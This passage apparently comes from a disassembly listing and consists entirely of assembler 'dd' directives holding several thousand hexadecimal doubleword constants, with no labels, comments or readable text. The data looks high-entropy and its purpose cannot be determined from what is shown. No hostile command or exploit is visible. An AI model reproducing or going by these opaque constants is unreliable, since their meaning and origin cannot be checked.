		dd 2AB215C2h, 0ACE1CD06h, 8C804C61h, 60062A24h,	0F021955Eh
		dd 0F8877610h, 0C8BFE443h, 9707714Fh, 3AF6DB04h, 5258E827h
		dd 0E291C740h, 0F2B599Ch, 2651E2Dh, 88897489h, 747F6709h
		dd 46048828h, 52022101h, 40A3B044h, 24C8D80h, 0AEB20249h
		dd 26B7FDCAh, 0EA7A36D6h, 0C636EA1Ah, 39045313h, 0EF0024C2h
		dd 0C177541Bh, 659C51E2h, 0A2507DCBh, 0BF49C014h, 3CE07A1Eh
		dd 0BC812F7Fh, 4F3EF631h, 0E0A8F91Eh, 0E1D60874h, 90EA86BFh
		dd 71611A18h, 0BB700DD0h, 4169D2A4h, 1E7E016Bh,	0D776000Ah
		dd 9B00C2h, 0AC5C97CDh,	4524537Fh, 0F9B5AD10h, 58CC0993h
		dd 5E1DD628h, 14250668h, 819D4724h, 0A0A91978h,	23B29143h
		dd 7D866933h, 0E88CA5AAh, 34CA71C4h, 5FF4BEA7h,	8CF68FAEh
		dd 0D160ACD8h, 516A5470h, 0F3F16745h, 8F776654h, 24B672Fh
		dd 665964E0h, 2B082B18h, 6788C769h, 17A37AD2h, 13B4BC03h
		dd 0CB713E53h, 1B604A90h, 70987001h, 0D0B227Ah,	786E9C74h
		dd 582337DDh, 0CFF12117h, 92131828h, 34CF05Ch, 11477CA9h
		dd 0C1518D2Ch, 0E3FD1799h, 520CD684h, 5D1A0141h, 4C5C212Ch
		dd 0CD8DC440h, 0FAD4ED05h, 48213824h, 59B0EC2Fh, 0E5E53A89h
		dd 977381h, 0B9C2014Dh,	8720AFCEh, 0A063E603h, 86FD6452h
		dd 295C77BBh, 0BCF589DFh, 3E10B4C3h, 0CCAFCE91h, 23B46498h
		dd 621D7E46h, 0B62261E0h, 0EF122E93h, 1B752C0h,	0D80AA2F8h
		dd 0E123354h, 91837D15h, 2D2C64EAh, 7EC17AE5h, 885AD31Fh
		dd 8602A543h, 6384C83Eh, 9D0462F7h, 0ACE240D5h,	2B3E6310h
		dd 240A03BCh, 12B888Ch,	0A03DEB21h, 3C5DF5B9h, 0B4862E93h
		dd 0D4562208h, 0F1784B3Eh, 8F472042h, 0FBF27EFCh, 0FD3DD189h
		dd 0B065668Eh, 0A7588C73h, 7903E0ECh, 8750FA40h, 9C5EB5Eh
		dd 6F96C852h, 31A1400Eh, 0EDED4BACh, 0C5E552CEh, 60F8DF04h
		dd 5004D8E6h, 78FC0A85h, 0E0BDBF01h, 9C370726h,	0A31A0179h
		dd 83088CE4h, 50575CEEh, 5614FB92h, 53037F8Fh, 3A304E24h
		dd 0E4B4E6C0h, 304BE8AAh, 0F6FB346Ch, 0EA240422h, 302E5645h
		dd 6655E0BDh, 7586DEC4h, 4059DA5Bh, 2595B277h, 75946437h
		dd 0B14EE0D6h, 9D12A4ACh, 0F343CC8Fh, 3C0498BEh, 0A432886Bh
		dd 1EB84D2h, 133F4E12h,	344A544h, 0F68EA865h, 3926E927h
		dd 557CD011h, 0A49D717Ah, 9E2B4D2Eh, 91B395E4h,	84C65650h
		dd 0F6ADFD9Ah, 48B77DF9h, 25DC22Eh, 1044C427h, 0E9328FFAh
		dd 300C3EE0h, 6359C7Fh,	8A05BE51h, 4F5452BBh, 51550E31h
		dd 13C209h, 0D64A7800h,	15081063h, 0B18790C1h, 7356449Dh
		dd 71940BDh, 44266616h,	0A6FB0333h, 611ECD8Bh, 10800AE2h
		dd 0DCDBB828h, 3D6E33Eh, 7FDC5F50h, 18C11435h, 0ACFA05D2h
		dd 0F574DA16h, 0CD01E821h, 86349080h, 0DE1CA4B6h, 0AE4A218Ch
		dd 0B73A0CCFh, 0C10BC065h, 3D7E73E4h, 99F4213h,	0AE910602h
		dd 0BFC481Ah, 0E112B639h, 2B5D5EF8h, 2B635CE2h,	96A421D2h
		dd 0F5C10769h, 60733FAh, 3C100C0h, 5E038AEBh, 967FF9D5h
		dd 948F4290h, 17C6B95Eh, 0EEA0E7DFh, 562285F1h,	0B20853E4h
		dd 0FD34CDBAh, 29069F0Fh, 3BC0A382h, 666A06A6h,	0BBB040FAh
		dd 0A55550Ah, 0B861FA70h, 6716788Eh, 3002CAAAh,	0B4300F87h
		dd 0F9EF0E02h, 68AF96DDh, 55DEDCE4h, 6B8CD032h,	88C7A3E8h
		dd 28B2BD98h, 0C6AF6Ah,	5AE2B035h, 9C582025h, 27332E91h
		dd 53ED3260h, 2B4001BCh, 340621A1h, 0AC4C041Eh,	4CA0600Dh
		dd 1AA79D85h, 0C36330E8h, 16E3F3EDh, 0CC54C93h,	5C50A9E1h
		dd 0B25D2DFh, 28401018h, 0D2906721h, 35848E42h,	4AC333Fh
		dd 0CFA975Fh, 31A7A1B0h, 172A0324h, 0E55A9142h,	9D52D6A7h
		dd 6178BFF6h, 57C94895h, 0D9A1F52Fh, 168DE465h,	290460B2h
		dd 0A6089F80h, 429460CBh, 6230A2B2h, 0F88E1018h, 8DBCBF31h
		dd 0DE208621h, 21E47FD9h, 0BD1C7431h, 0A3E02BA9h, 6D35CD53h
		dd 0E818932Ch, 4C5FF584h, 0C6E5D85Ah, 0C5581E9Eh, 7086D0F5h
		dd 3C33599Dh, 12E8BF0Ch, 0F29735A4h, 0F4CAC532h, 1627E0A5h
		dd 0B1BD5E86h, 4B15F971h, 6AC088D0h, 5489048Fh,	0BC25021Fh
		dd 6A95D850h, 571A804Bh, 0CFF201Ch, 97883A9Bh, 8E29D260h
		dd 811D7198h, 468CEB40h, 0EB1C54B5h, 212D485Bh,	0F417ECF0h
		dd 96231C8Dh, 0CA15829h, 0BE614AEFh, 597E12AAh,	74E3315h
		dd 0E45190BCh, 8A4FF979h, 0E1046EBh, 1ABC80E2h,	67E4F7FFh
		dd 8A58310Bh, 4C9830A9h, 81B37206h, 0EFA03D63h,	32471087h
		dd 1BB4D57Ah, 2803AA0Ch, 0BAF6FD10h, 4FE677C4h,	4304DE2Eh
		dd 0C6030C89h, 0CB695414h, 90A86842h, 1DCB4169h, 39C8FF18h
		dd 82C5303Dh, 0FCBD4B04h, 82082181h, 0B6DEF1CEh, 0F5D4B8A7h
		dd 2AC50941h, 7DC18EF2h, 0BA526A0h, 1C0FCBDh, 8DB212ADh
		dd 2388579Fh, 0A34CBFEh, 0A04FA6FFh, 86EBBC5Ah,	0D6D878D1h
		dd 0A5583EAh, 0A8AACCC9h, 60C8BD4h, 0D892D2D4h,	0A50250DCh
		dd 5A17EF88h, 0DA286554h, 1C44214Eh, 1121049Ah,	9D089C0h
		dd 0E1ABEB67h, 10067565h, 0B3A30B64h, 693F07C3h, 86493EF6h
		dd 574D5882h, 744C6C5Bh, 8D3A1BC3h, 7BC3F3C4h, 120E13D8h
		dd 38ABFF5Ah, 3C6D10FEh, 37C4A676h, 0F307681Ch,	4A4959Dh
		dd 0F0882530h, 3B804072h, 0E0B6179Ah, 508110F1h, 420C8019h
		dd 660083E3h, 8F1D8D8h,	0DCDCDF0h, 824A13BEh, 703FEE96h
		dd 2B72EA07h, 0F811A221h, 0A2AB83E0h, 0F5DD4F5Fh, 36BDC3A0h
		dd 9D383176h, 0CEA1EA8Bh, 0DC40CAC0h, 0FCC1F295h, 55F8D2B5h
		dd 79BEF08Ah, 0D1AB3EE8h, 8A1713Bh, 0DE384F26h,	32039052h
		dd 0D3CE0C6Eh, 16534457h
		dd 4D713E85h, 490B0864h, 95514814h, 7F49ADFDh, 0A5138F62h
		dd 0DA06AFBDh, 8BA6BE7Dh, 8700D421h, 75A444E0h,	60FF4211h
		dd 9C7334BBh, 4574320Bh, 0DA647EA6h, 0F7EBFDF8h, 9B0A0609h
		dd 1375C86Fh, 0C9C927FAh, 4983958Eh, 181FCFAEh,	822BE0F8h
		dd 0E20282E5h, 0C19179B0h, 4149684Ah, 0BE0A2F30h, 0BCA67E0h
		dd 81BBC624h, 0F2ECA508h, 0BF7C03A1h, 129F46C7h, 3F1F1FFCh
		dd 0CAF8832Bh, 7C780621h, 0BD8A6031h, 0B4AE5898h, 496EF73h
		dd 1273ABFCh, 0AD29289Bh, 2976F149h, 8314CD03h,	8078281h
		dd 8287A1B1h, 0F5760FD8h, 2AC6F4EFh, 0B5A8811Eh, 2F8C0174h
		dd 18BE298Dh, 8DEA5F85h, 486A7B74h, 451946E9h, 8BE588E4h
		dd 28C581F9h, 18200223h, 8052F6D5h, 294CA7B1h, 0D08458BFh
		dd 0C490605h, 18042009h, 0B5590ABAh, 0E5322672h, 667E2FF7h
		dd 4032B233h, 8182582Ah, 0C42409D2h, 60790785h,	0E2A90627h
		dd 4C7875B1h, 45369073h, 0E096120Ch, 9C971FFEh,	38A6031Bh
		dd 0D889017Dh, 3FA7966Eh, 0D84C4C5Fh, 0E6C6EB1Dh, 0B2216580h
		dd 1290D118h, 1FA73183h, 0AD829788h, 404F801h, 94C262B3h
		dd 0D0991667h, 955A3170h, 0C4C6C62Dh, 227F8BF0h, 219489D7h
		dd 9686CFFCh, 0E08C93F4h, 0F448E8E5h, 0E4B539Dh, 0D4D6DB0h
		dd 0C3ECF6Eh, 860A9C1Fh, 0A0BB0748h, 54EA629Eh,	0BB04F4A6h
		dd 0B23B3FFEh, 84200067h, 3AA8D09Ah, 1E930FD8h,	0CC12110Ch
		dd 0FEA41036h, 0B0C8083h, 2A0550D8h, 860E9CC0h,	0FF02A322h
		dd 0C288C104h, 7BAA59ABh, 0A3AE316Ch, 51109D85h, 0B66B09E0h
		dd 671A7C30h, 2601D531h, 9CC3F348h, 0F2B39931h,	911F9014h
		dd 0B5220CC9h, 85A56544h, 0BBE128BAh, 0A1A15DE7h, 82841E86h
		dd 0C60F853Bh, 86C37346h, 5B89D17Ch, 6DEBF880h,	0AD1830DAh
		dd 66AC5EFBh, 0A2C03762h, 867E56A2h, 8696B451h,	7982A9D5h
		dd 6188AE56h, 0EE7C7BFCh, 0D35D8BB4h, 0D6BE1028h, 73BF4968h
		dd 72F0C38Bh, 479EFD3Fh, 44F27F38h, 7DBAB883h, 4FCFF18Fh
		dd 0A2FE7E8Ch, 558BF5A5h, 0FBF83423h, 22E7EC4Eh, 4B679AECh
		dd 230B1935h, 0E85F8839h, 0AD4E029Fh, 0F5773D54h, 0B72F1C50h
		dd 0DD6FF80Ch, 0D18E3810h, 455338BEh, 5EBFC04Fh, 1AAC682Ah
		dd 0CE223034h, 82284ADh, 80A07EF7h, 0BF68EC7Ch,	9148153Eh
		dd 861F7149h, 73216839h, 0AE3EB928h, 0DA57361Fh, 8B95185Eh
		dd 591748A3h, 26028825h, 0C5490886h, 0A8605A86h, 0A589383Eh
		dd 4CC0E61Fh, 173F8EB1h, 87F0A850h, 0E3324E1Eh,	462F2E0Dh
		dd 8C440D6Eh, 3CC08628h, 48AA937h, 768E9970h, 0D483AA0Ch
		dd 0B62CA8A6h, 0C5CBD0BEh, 61650C09h, 7556456h,	0C5FFE694h
		dd 617DC6F8h, 0A4CF8CCEh, 0ADE57BA7h, 0EA0BEFB7h, 0B3D44CFFh
		dd 0CA60ACA0h, 9549D69Dh, 9CB5B0F3h, 56BF0461h,	0DF204806h
		dd 0D1F85E4h, 0C584BD1Fh, 0F222D7F7h, 5A842D53h, 507C10A9h
		dd 0E3D401F1h, 59FD383Fh, 92BDEC19h, 0C3F0F9BFh, 196C3BFBh
		dd 2D9090D1h, 5B62972Ch, 64C497D9h, 0F7364E3Ah,	0EC91E209h
		dd 1443C7A1h, 0FE87D731h, 0BC00023h, 0F648DD67h, 0B98B954Dh
		dd 59B617Eh, 5448630Fh,	18C812C3h, 0EAA91992h, 168C5406h
		dd 11C0990Ch, 97AC30Dh,	0E08A5ADEh, 0DD803887h,	0A12284B4h
		dd 128C7A10h, 0F3E22FE4h, 0C6295525h, 6F0D2190h, 8419808Ch
		dd 50BB72C8h, 0C7070FF2h, 0C113ECA4h, 318D0058h, 2F9D8092h
		dd 0C267C5A6h, 0B312D3F7h, 0E3156C05h, 5EC111FBh, 71B4E7AEh
		dd 0FA134F43h, 3164E6EDh, 2B987B82h, 0C8DE9BC6h, 0DD411777h
		dd 8C2CE84Ch, 9D32AC54h, 5E324C28h, 881823FCh, 1190EFC3h
		dd 997F63A2h, 8A43104Eh, 1B7919A0h, 0F1C88223h,	3AD70409h
		dd 2426D4EEh, 0A5469C66h, 26CC271Bh, 4C2381C5h,	8236049Ch
		dd 81B41B42h, 93AA128Dh, 6EB36D0h, 0B29C3257h, 731D30C6h
		dd 0F895541Bh, 517A2B12h, 36CC5D53h, 3ACA77C7h,	0C1F448A5h
		dd 8E205828h, 0C20B05D6h, 0C13E33h, 69810413h, 60D0886Ah
		dd 0A21752ECh, 0AA08C4D1h, 522F4955h, 0A84AFF4h, 0C0D5B5F9h
		dd 0AE3756E8h, 0BFD70CBAh, 48BE355Dh, 83C9EBFh,	4EFD0E9Dh
		dd 518C630h, 58AF042Fh,	0B2CAF108h, 2551D70h, 62058A97h
		dd 0A67DCBDCh, 1A52826h, 434BBC2Fh, 0C1690BC1h,	155A86D1h
		dd 260D3CD4h, 0F7A8C6E1h, 1941A2h, 0D4295021h, 0DFB60470h
		dd 0F9E4C8Fh, 0BCC3218Eh, 10B21F03h, 0C46714F2h, 0FBC3872Ch
		dd 0C6E53EE5h, 192B97Eh, 0BBCFC8DCh, 0C78277FAh, 0FF950DD1h
		dd 157A91F8h, 98FEC47Bh, 1E80490Fh, 932800EFh, 7BC25FE0h
		dd 4E3701Eh, 48F691h, 0AB0E03Dh, 0C6D26662h, 86D9515Eh
		dd 4D943E0Eh, 20BFC775h, 852BA7C3h, 528285C2h, 0A57FE13Ah
		dd 0D3121994h, 3D4495F0h, 0E1660593h, 551A10CDh, 90D0A4ACh
		dd 0E0288653h, 8A716184h, 0E133D98h, 28B3DBACh,	97D37882h
		dd 3F95A62Fh, 0A5DDF529h, 14F70841h, 1E41375h, 75F1659Ch
		dd 0BCAD898Ah, 2831B708h, 0FCE0F033h, 0E6B90563h, 0AA53FAA1h
		dd 99DB4DC1h, 2585FF94h, 0ED2D6BA3h, 56D77272h,	3AAD21C7h
		dd 0B0B4CAF8h, 81F6A386h, 3378F025h, 0B686677Fh, 0C5A7FA29h
		dd 1768D943h, 0E565EDC7h, 0AFC13329h, 14CFC4DAh, 0CA3E2765h
		dd 9F85C533h, 3721DAA2h, 14CF31D4h, 0A330AE64h,	7320D48Ch
		dd 0F56545B6h, 714DA67Eh, 30060A79h, 6581C481h,	2BE75FDBh
		dd 0FA878221h, 62704054h, 0BA02CB64h, 14F77CAh,	49898538h
		dd 0D52B2A11h, 6C71C580h, 6330BF4Ch, 18124F8Ch,	8028AD88h
		dd 600300C0h, 9D81A300h, 0B8A60692h, 4D3AE5D6h,	0C4569EA4h
		dd 18B94281h, 0CE7FC6D1h, 10EA1966h, 0D846AE4Ah, 1754696Ah
		dd 20B22E98h, 0C0F0BDBAh, 8613BA9Fh, 6E1E9936h,	6D18637Ch
		dd 1022048Ch, 939DD1DAh, 0A8B702A3h, 0A43F8CB8h, 6549218Bh
		dd 0C9481B3Ah, 48522BB0h, 0B933B4B7h, 62D0C372h, 0E986E94h
		dd 3B0B04C5h, 80401154h, 49C3B223h, 0A882CC5Ch,	0B245010Dh
		dd 2E2EE033h, 5B24ED9h,	0DDA8B475h, 0AF1BE71Eh,	32F420E7h
		dd 0EB287483h, 0A054A43Ah, 0C6E94C28h, 5DDD317Bh, 97A49066h
		dd 71468771h, 0A41DBBA1h, 730D3481h, 0ECB3790h,	2D7B00C3h
		dd 196B2877h, 12016565h, 465842E5h, 0BB1699D9h,	0EB2C9943h
		dd 250E2C50h, 40274C71h, 39CE3719h, 0A2532CB1h,	16084487h
		dd 2C4B9687h, 0E7E38BCBh, 0B2985391h, 8BE8E081h, 5ED4463Fh
		dd 81A152E3h, 0D652F651h, 9DDA8405h, 0FADBB886h, 0ECFB2C31h
		dd 0A4604014h, 6E5A9FAEh, 92973C57h, 87ABF421h,	7FA560F8h
		dd 0A069BC35h, 7AC0415Ah, 0B6860915h, 0E5E5C7ECh, 698A20ECh
		dd 768C61F6h, 17762C61h, 4409DB21h, 0BE0FE55Ah,	0D3B1A6ECh
		dd 0A60CF541h, 10EC6902h, 0BE3FCAEBh, 0E4E062C8h, 7566A063h
		dd 5FCD2C4Bh, 9EEAEB2Ch, 0F910DC13h, 0FD110C4Dh, 0E4F04E74h
		dd 6DC789A6h, 24AC0BFh,	0E3137ED3h, 4392AC99h, 0C4D20918h
		dd 0AB2888C8h, 52AC0153h, 6A01180h, 0C072650Ah,	311012D6h
		dd 4A2E198Ah, 0B0C7FB70h, 0A1C003E3h, 208019C7h, 0BA4384D6h
		dd 69609102h, 48169332h, 8A64E910h, 54A21396h, 4C385302h
		dd 114C298Eh, 93EF0985h, 5AA08261h, 82A0CBA2h, 0D1914581h
		dd 7E2F63EFh, 0C304F2F0h, 942F7F07h, 2C2D85F2h,	1A700846h
		dd 60A08150h, 6066098h,	2BE9361Dh, 2DFA05D6h, 0ED3EC1C1h
		dd 0CED88F17h, 5FD4E0A1h, 6C6BCFFCh, 0F2335CE5h, 84251E2Fh
		dd 2B1D2049h, 930CC372h
		dd 208C8412h, 55EF886Ah, 2E8205A1h, 1C83A460h, 0C70D1C88h
		dd 0A0A4346Ah, 62C0C81Dh, 225963F8h, 47C133B9h,	27AE8BF2h
		dd 8623BA4Dh, 0C7D4B948h, 52C7E617h, 4371310Ch,	0AB79250Bh
		dd 2DA5381Bh, 78639146h, 88F38DB1h, 360880CDh, 7F196F3h
		dd 8C75B1D9h, 7D41206h,	0FC6E0813h, 8193881Ch, 0C982F76Ah
		dd 701BE729h, 0B8803B41h, 36289A40h, 8A3F01B5h,	8325AC67h
		dd 0E78A01A8h, 0FC7D4414h, 1B983E47h, 9E908D38h, 3C639E07h
		dd 32075C2Fh, 0EAF0D189h, 0AC44318Eh, 0A08C5516h, 0CDF601FEh
		dd 8D5D18h, 83E53811h, 0AB24DD83h, 0D53501AAh, 68ADBD38h
		dd 0F9605084h, 8051F3E2h, 78327DAh, 80949042h, 0ED28937Fh
		dd 0DD289227h, 0BF092227h, 0BEFB1227h, 0EBFF5806h, 17814E6h
		dd 4D26F312h, 7D74034Fh, 29094A5Bh, 8F608B17h, 18672975h
		dd 0CC4829D0h, 0FB29AE30h, 1B2667CBh, 7420CD84h, 0C902055Fh
		dd 83618AD2h, 0FE190C5h, 83469992h, 0F932897Bh,	24582703h
		dd 9902F606h, 0E504151Dh, 0D41D1D23h, 6168408h,	1228092h
		dd 0C4599DDAh, 0AA9D91F7h, 0E0DFC627h, 6A805CB7h, 56EE9E3Fh
		dd 2575B368h, 1EAB914Ch, 12B28AB2h, 75110557h, 0C670B1Fh
		dd 7D9A1325h, 60A3628Bh, 0C0D77000h, 67F4BD6Eh,	0E93DFB46h
		dd 41658794h, 11578824h, 4089C4E4h, 0C08A5884h,	8F90DC33h
		dd 23C43E4h, 0F425EF90h, 6109070Ch, 60C16008h, 3E4D4A27h
		dd 80F785C8h, 8FBB8DDDh, 982E23BAh, 63152541h, 0BBC0E150h
		dd 8F574C8Ch, 28A5BB25h, 0E6087E85h, 6ED03D76h,	3897381Ah
		dd 5A38094h, 4645ACCBh,	76A1050Dh, 30E0CDC2h, 5429348Fh
		dd 68FFB174h, 20481963h, 921236Ah, 0F33F7393h, 2058C449h
		dd 0F5DE1ACBh, 0B060BF9Ah, 0C1197748h, 125E30E2h, 3D48F48h
		dd 0B86B2A25h, 4302506Ah, 8877B0E1h, 8FD3C71Bh,	18BB5D1h
		dd 0B3EE9DFBh, 55F5EC27h, 43521180h, 5CC9D518h,	0B6E4E704h
		dd 4AC78812h, 882F517Fh, 0B881F90Ch, 91C884E9h,	0E57CBAD2h
		dd 605DBEC7h, 8C881C20h, 0D1B620CAh, 8FC1C40Dh,	0FC689C03h
		dd 354F54Ah, 8D510803h,	0C58C8BAFh, 0A2481B84h,	2A5F7518h
		dd 210AC7ACh, 336AF31Ah, 3386B095h, 8B1ADFD6h, 0BC2DA288h
		dd 17F9480h, 2C86EAD9h,	0B791DEB8h, 0C0E7EBF5h,	0B25DE17Ah
		dd 0BD3CCD75h, 540CC562h, 0B50A9740h, 0FDA58570h, 291844FAh
		dd 0FBE06D9Ch, 0CB425FB2h, 4A0F0491h, 80B9886Bh, 0A0F28EB4h
		dd 0D72DAF02h, 0A15F9245h, 0E7568B29h, 195A1B06h, 96DAD469h
		dd 945D24Ch, 60F1B3DDh,	4671EB6Ch, 1B2402ADh, 430381C0h
		dd 7E200BBEh, 92ACD2B2h, 0F8AB3748h, 0B70DC557h, 6393E418h
		dd 0E3A04879h, 62E23E4Eh, 0AE5DE54Ah, 45A50BA3h, 0CEAA21CBh
		dd 0AB97067Ah, 0E6F55F3Dh, 0CE281504h, 1EC201D4h, 2FAE4B54h
		dd 303BB6A8h, 439A2CA1h, 0DB67B724h, 0DD80D31Dh, 3AC720CAh
		dd 0B0650410h, 744A0DEDh, 0C231D481h, 3B3F2AD1h, 0B7450A42h
		dd 2C88C559h, 4381DF2Ah, 0FE563474h, 0F86860Bh,	81E33ACh
		dd 90B1F80h, 45FE0F82h,	19BE2ACDh, 0D6BE60A5h, 0FDE13037h
		dd 0C20B0F85h, 0B6782CAAh, 0FF4C4586h, 5094C091h, 17F51D69h
		dd 9166EE3Fh, 4D80BA3h,	2E296770h, 0D5891FAEh, 2B01F90h
		dd 0C890FDDDh, 0C774941Dh, 2BBC0B17h, 0B12A8256h, 9956340Ah
		dd 6218B345h, 33FB55A4h, 355AD221h, 2C833107h, 310E652Fh
		dd 2A348AC6h, 9A85105Bh, 36DF3D12h, 8D325D83h, 0B6673490h
		dd 220322E8h, 0B2C3D82Fh, 178079D1h, 0C1D30092h, 40D2640Ch
		dd 0F5F94D40h, 0C43114Eh, 9C3D889h, 0C724BDEEh,	0E3594BC8h
		dd 1BD7AB51h, 24ECDD40h, 8B1270CBh, 11900B39h, 249FC6B9h
		dd 1E1FE00Fh, 607DAB9Ch, 2326BFF8h, 1626CC93h, 8A539323h
		dd 5F7F60FEh, 0C96066CFh, 6BDC0E0h, 1F9C070h, 0AAE7BF13h
		dd 0A729BECh, 4D311043h, 0E85A246Ah, 31C86A69h,	469B410h
		dd 4B855B4Ah, 0D45DD4C2h, 0B96F10F5h, 38BD215Dh, 6D4C419Eh
		dd 176374FEh, 48623688h, 6AA6060h, 48F70E3Ah, 94D16D90h
		dd 427E1812h, 0FC3726DCh, 54A18EC1h, 0B066A80Eh, 5B4203BEh
		dd 27FE6A04h, 764E1C36h, 746D23AEh, 3C14B2AEh, 80231850h
		dd 27F807E6h, 14EE5B00h, 5293190h, 6D035D7Fh, 0A0BFA019h
		dd 348E0AEFh, 0A0A09FB7h, 0A68BAADFh, 0A0FD732h, 5729B0C2h
		dd 590C702Eh, 0FDD7D658h, 0D630DA0Ah, 388BE4h, 6CD82005h
		dd 62F07438h, 8BB85959h, 0B08AA08Ah, 59BAAAB1h,	0CFD4DA71h
		dd 0C8FA4B28h, 0AF157AC0h, 8AF16C08h, 0A6E5AC07h, 0C34B5AB2h
		dd 0A945750Dh, 3162056Ah, 15E010EAh, 0AC27858Ch, 0F3AF80C1h
		dd 87A226EBh, 0FDB1366Eh, 0D728A0F6h, 748850C9h, 1E7EA993h
		dd 3B70D00h, 33C38090h,	9B284950h, 0A515701Fh, 0BDAC3400h
		dd 8393594Eh, 0CFD1BB94h, 8098981h, 46805685h, 9880BC54h
		dd 9DFF902h, 85122CFBh,	4557748Ah, 751F9725h, 4B989D49h
		dd 0DFD33121h, 9D5BBA46h, 4B388D6Eh, 690316B3h,	48821F8Ah
		dd 89109551h, 1A713AD8h, 0FDED06FCh, 7B90FC4Ah,	997BA602h
		dd 0B10D768Ah, 0D66652Bh, 7F070E30h, 0CFF07C93h, 5183439Ch
		dd 4D656A20h, 0DA019C4Bh, 0AB330D40h, 1A9C173Ch, 0C466A964h
		dd 644E62D5h, 5E55DF9h,	0EA1A06Dh, 0ED4596Fh, 0C52C06Ah
		dd 520E13Eh, 0FA04EBAAh, 0CDD38240h, 5C80F941h,	8DD6D82Bh
		dd 2266348Fh, 17E809C6h, 0B55F800Fh, 2B88A321h,	898B1B78h
		dd 5818432h, 0F44DC898h, 990CC168h, 541EFFFDh, 3E583589h
		dd 0F5EE6E41h, 0C5C58359h, 98E38EC4h, 0AB9EC864h, 649D4068h
		dd 0ABD01141h, 0E60B2786h, 82844A5Dh, 23F7F7EDh, 445CB599h
		dd 0F99A64BEh, 0FCCDB002h, 640F7DFh, 6817F005h,	0C5D370B7h
		dd 55BB6148h, 0FA646130h, 74B6014Dh, 5AAE0547h,	0A1CA4885h
		dd 0A73ECCB1h, 0CD59020Ah, 0DF0E470Ah, 64220E49h, 311EEB47h
		dd 65D89F23h, 0EA97371h, 0B2EEC126h, 0C85E431Eh, 49908AE4h
		dd 4120C1A8h, 42D6C4A3h, 38C87C36h, 0DBAC39C5h,	4543169Fh
		dd 80BA1F8Dh, 7F881B7Dh, 7E415CE9h, 0EE345A97h,	568F0656h
		dd 40FF1E60h, 0D416EB81h, 40C80C8Eh, 71100593h,	0DA09DA56h
		dd 85FB7C5Dh, 0C574731h, 27DF5F65h, 8300F148h, 9DF2BDEBh
		dd 2B5384ECh, 316A058Bh, 0AD5260B4h, 76FB982Fh,	0F2113451h
		dd 18A85956h, 0A68DF036h, 5C3EA0E8h, 8FF58D84h,	33E60A4Bh
		dd 0D50A0DCAh, 798BCCF4h, 98B29B3Dh, 584BF8D5h,	72136683h
		dd 0E70742AAh, 301EF0FCh, 2523106Bh, 0FE68D408h, 0F92107F8h
		dd 0BEC7C15Ah, 214F648Ch, 63815ACAh, 0C80B9AE0h, 6AAE75FCh
		dd 999AFFAAh, 0D107452Dh, 604A853h, 0AFE774A2h,	0F33F921Ch
		dd 1A0A2632h, 2A8031B7h, 6C8EC672h, 0C73377D9h,	4F43024Ah
		dd 0E6C30568h, 560811C7h, 0BDFDB2F9h, 0CA7EDA18h, 3452B442h
		dd 0ACCE6403h, 4517F2C4h, 2E0E5A6h, 25DDB7F5h, 81662747h
		dd 0FD713129h, 0DE1ECC5Ch, 0A451604h, 71D981CDh, 4A037D8Dh
		dd 0D4493923h, 502BF1A7h, 81759281h, 123503FBh,	0EDDC779Eh
		dd 0AFBFEAFAh, 72713462h, 0FAE89041h, 0CCB499CCh, 2CC7AE31h
		dd 3BF1CB41h, 8B7BE3F8h, 975B7669h, 1E0B878h, 6E764BAEh
		dd 0BEBACD84h, 1E422A1Fh, 9C58B03Eh, 0DF02A181h, 9788EE76h
		dd 0B411A8B4h, 147AA20Ch, 0B0FDC54Ch, 4952A023h, 0A8EB556h
		dd 0CF2B554Bh, 7A2A5595h, 11F6AA05h, 0C92A8B3h,	0C2C30600h
		dd 0BEA43037h, 1D059AB4h
		dd 3D17C956h, 573D9C51h, 87F6F68h, 0E17CD281h, 2313B27Bh
		dd 10CB500Dh, 0BB68BA0Ch, 88041558h, 0A3D0D6EDh, 0FD54630Fh
		dd 0F396FC2Ch, 3E5ECC2Bh, 0A2058156h, 54BC285Ah, 38AC8C5Fh
		dd 687E5CD7h, 0FBAEADFh, 1A8D1236h, 28CD1D00h, 0D8E402C4h
		dd 75CBF053h, 30AC6175h, 0E48AB64Bh, 485A08D7h,	0D9DB7144h
		dd 8E8A3303h, 49C4E02h,	0F4B44112h, 0F0A48495h,	0AAC18F47h
		dd 57CCA2EEh, 92E6A920h, 0C3AAAD2Bh, 0A023A02Eh, 20C56957h
		dd 0BE1423D5h, 0B5D377Fh, 51DABDC1h, 0C31DD518h, 0FA5F5D8Bh
		dd 4193CA6Ch, 7B1B97B9h, 0C000F280h, 5F997856h,	0CC934AFCh
		dd 76732A2Eh, 58F89376h, 0E24639B8h, 42A968D2h,	0FF083E76h
		dd 0E2C6C97h, 84C4167Dh, 0EB92C30Bh, 1F007B85h,	0A61A3EB2h
		dd 28CBCC82h, 92CEED0Dh, 96310255h, 0A7B8F250h,	0C96C4B3Ah
		dd 700C70DDh, 4855CDCEh, 0FDAEED7h, 6555AA02h, 56619F5h
		dd 4A80E542h, 0C23E2FD0h, 4CE233E0h, 407499C3h,	1BD6A754h
		dd 1AC851B5h, 890B9EE9h, 1857941Eh, 0AB7006A9h,	0A5AE9BEDh
		dd 0A3BE556Dh, 0C9226E1Ch, 1BF142D8h, 969FA7C1h, 655A73A7h
		dd 0E61D5F28h, 9D107C2Fh, 2065117Ah, 3E8D5919h,	6C055A5Ah
		dd 0F5242BD0h, 183EE552h, 86B2CC58h, 0B18207C1h, 0A31DACBBh
		dd 3A7130DFh, 0BD4D4CC7h, 0AFB7A29Eh, 68EE7EBCh, 4AC0CEC5h
		dd 531BDCBDh, 9B315E04h, 4A74507Fh, 8454D429h, 45461162h
		dd 45EAF2C8h, 0D068A4FBh, 0A5A48BEh, 8ED315D2h,	74630E12h
		dd 148FA15h, 602A203Dh,	778149A0h, 0ED028165h, 73E16175h
		dd 0E86274C1h, 0FFAF747h, 0E106662Eh, 455BE55Ch, 0AF2EAEBEh
		dd 0EAE02D18h, 4DDD9555h, 0E54DBF41h, 8484DACDh, 0C18A8A62h
		dd 2BBD0DE7h, 0A9DD5486h, 7AF0CA8Ah, 5F3EDA1Eh,	0DBED5A17h
		dd 0A2D0C3D8h, 0D710B374h, 5F8CCFEFh, 0BB3430AAh, 6FAF2921h
		dd 0E6E8F80Bh, 0BF174C5Ah, 55798A4Bh, 9426A95Fh, 0E903E046h
		dd 19B9E9DAh, 62405371h, 51C551A3h, 2E91EC36h, 0D1D34111h
		dd 0FDE9068Dh, 4962FDCCh, 4E072F3h, 5586BC9Ah, 0BCF27575h
		dd 94D960EAh, 0ABA8A32Eh, 901196FCh, 1B404A2h, 312C6875h
